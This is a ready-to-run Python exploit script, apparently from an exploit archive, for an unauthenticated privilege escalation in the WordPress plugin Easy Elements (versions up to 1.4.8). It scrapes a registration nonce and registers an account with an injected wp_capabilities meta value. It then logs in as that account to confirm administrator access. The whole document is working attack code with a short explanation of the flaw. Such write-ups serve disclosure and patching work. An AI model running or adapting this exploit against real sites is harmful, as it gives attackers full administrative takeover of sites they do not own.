## https://sploitus.com/exploit?id=PACKETSTORM:226462
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Easy Elements (Elementor Addon) <= 1.4.8 - Unauthenticated Privilege Escalation to Administrator
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/easy-elements/
# Software Link: https://downloads.wordpress.org/plugin/easy-elements.1.4.8.zip
# Version: 1.4.8 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2026-56028
r"""
Easy Elements <= 1.4.8 registers the unauthenticated AJAX action eel_register
(widgets/login-register/class.login-register.php:9 wp_ajax_nopriv_eel_register; the class is
instantiated unconditionally at :190, so the handler is live without any Elementor page rendered).
The 1.4.8 hardening only sanitises the `role` field (forced to subscriber) but STILL loops the
attacker-supplied `custom_meta` array into update_user_meta() with no key allowlist:
65 $custom_meta = map_deep( wp_unslash($_POST['custom_meta']), 'sanitize_text_field' );
120 $user_id = wp_insert_user( $user_data ); // role forced to subscriber (red herring)
127 foreach ( $custom_meta as $key => $value ) // NO allowlist
128 update_user_meta( $user_id, $key, $value ); // wp_capabilities writable directly
Supplying custom_meta[wp_capabilities][administrator]=1 overwrites the capability meta ->
the freshly-registered user is an administrator.
The registration nonce (action 'easy_elements_nonce', field 'eel_register_nonce') is printed by the
Easy Elements "Login / Register" Elementor widget in register mode
(login-register.php:1562). Because registration is unauthenticated, the nonce is an anonymous-user
nonce (stable per WordPress nonce tick), harvestable from any page rendering that widget:
name="eel_register_nonce"\s+value="([a-f0-9]{10})"
Prior state: plugin active + users_can_register=1 + a page containing the Easy Elements
Login/Register widget (register form) as the nonce source.
"""
import argparse, sys, re, random
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--nonce", help="easy_elements_nonce (harvested from the Login/Register widget page)")
ap.add_argument("--page", help="URL of a page rendering the Easy Elements Login/Register widget")
ap.add_argument("--user", default="eel" + str(random.randint(1000, 99999)))
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
nonce = args.nonce
if not nonce and args.page:
h = s.get(args.page).text
m = re.search(r'name="eel_register_nonce"\s+value="([a-f0-9]{10})"', h)
nonce = m.group(1) if m else None
if not nonce:
print("[-] need --nonce (from the Login/Register widget page) or --page"); return 1
print(f"[*] Target: {base} | user: {args.user} | nonce: {nonce}")
d = {"action": "eel_register", "eel_register_nonce": nonce, "nonce": nonce,
"user_login": args.user, "user_email": args.user + "@evil.test", "user_pass": args.pw,
"custom_meta[wp_capabilities][administrator]": "1", "auto_login": "yes"}
r = s.post(base + "/wp-admin/admin-ajax.php", data=d, timeout=25)
print(f"[*] eel_register -> HTTP {r.status_code} :: {r.text[:140]}")
a = requests.Session(); a.verify = False
a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
a.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
"redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
p = a.get(base + "/wp-admin/plugins.php", timeout=20)
if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED โ new user '{args.user}' is administrator.")
return 0
print(f"\n[-] not confirmed (plugins.php={p.status_code})"); return 1
if __name__ == "__main__":
sys.exit(main())